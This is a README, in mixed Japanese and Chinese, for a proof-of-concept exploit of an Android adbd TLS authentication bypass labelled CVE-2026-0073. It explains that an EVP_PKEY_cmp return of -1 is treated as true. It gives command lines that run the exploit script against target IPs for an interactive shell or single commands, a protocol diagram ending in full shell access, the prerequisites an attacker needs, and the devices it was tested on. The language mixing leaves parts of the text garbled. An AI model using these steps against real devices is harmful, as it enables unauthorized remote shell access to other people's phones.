
CVE-2026-0073-Android-ADBD-bypass-POC中国語版
Android の ADB デーモン (adbd) には重大な認証バイパスの脆弱性が存在し、ローカルネットワーク上の任意の攻撃者が、ユーザーの許可なしに、ターゲットデバイス上で完全なシェルアクセスを取得できます。
この脆弱性は、daemon/auth.cpp 内の adbd_tls_verify_cert() 関数に存在し、EVP_PKEY_cmp() がブール値として使用されています。保存されている鍵が RSA 鍵であり、提示された TLS クライアント証明書が 非 RSA 鍵(EC P-256 または Ed25519)を保持している場合、EVP_PKEY_cmp() は -1(型の不一致)を返します。これは C/C++ では真 と評価されるため、authorized = true になります。
// daemon/auth.cpp 中的易受攻击代码模式
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 是真值!
已授权 = true;
}
pip install cryptography
# 交互式 shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>
# 单命令执行
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# 详细模式(查看完整协议跟踪)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
デフォルトでは、スクリプトは成功するまで EC P-256 → Ed25519 → EC/TLS 1.2 を自動的に試行します。
攻击者目标(adbd)
│ │
│──── TCP 连接 ──────────────────►│
│──── CNXN(明文)────────────►│
│◄─── STLS(TLS 升级请求)──│
│──── STLS 回复 ──────────────────►│
│ │
│════ TLS 1.3 握手 ════════════│
│(已提交 EC P-256 客户证书)│
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 为真 → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN(设备信息)──────────│
│──── 打开“shell:” ───────────────►│
│◄─── 好的 ────────────────────────│
│◄──► WRTE/OKAY(shell I/O)──────►│
│ │
【完全 shell 访问权限】
| 要件 | 詳細 |
|---|---|
| 開発者向けオプション |
⚠️ 重要なお知らせ: RSA 鍵は /data/misc/adb/adb_keys ファイルに配置されている必要があります。このファイルは USB デバッグのペアリング(「USB デバッグを許可しますか?」ダイアログでの許可)によって生成されます。ワイヤレスデバッグのペアリング(adb pair)では鍵が 別の場所(adb_known_hosts.pb)に保存されるため、この要件を満たしません。
adb shell getprop ro.build.version.security_patch
以下のデバイスで正常に動作することを確認済みです:
内核:6.1.23-android14-4-00257-g7e35917775b8-ab9964412
平台:Android 14(Android Studio 模拟器)
このフォークには以下の改良が含まれています:
select() の代わりにスレッド I/O を使用-v フラグで詳細なプロトコルトレースを表示CVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # 主漏洞利用脚本
└── README.md # 此文件
本ツールは認可されたセキュリティテストおよび教育目的にのみ提供されます。許可なくコンピュータシステムにアクセスすることは違法行為です。テストの前に必ず適切な許可を取得してください。作者は本ソフトウェアの誤用について一切の責任を負いません。
このツールが研究のお役に立てた場合は、スター⭐をお願いします
EVP_PKEY_cmp() 戻り値 | 意味 | C 言語での真値? | 結果 |
|---|
1 | 鍵が一致 | ✅ | 認証済み(正しい) |
0 | 鍵が異なる | ❌ | 拒否(正しい) |
-1 | 型の不一致 | ✅ | 認証済み(BUG) |
| ターゲットデバイスで有効化されていること |
| ワイヤレスデバッグ | 有効化されていること(または TCP ポート 5555 での ADB 使用) |
| 保存済みの RSA 鍵 | デバイスが USB 経由で少なくとも 1 回ペアリングされていること(/data/misc/adb/adb_keys) |
| ネットワークアクセス | 攻撃者が adbd の TCP ポートにアクセスできること |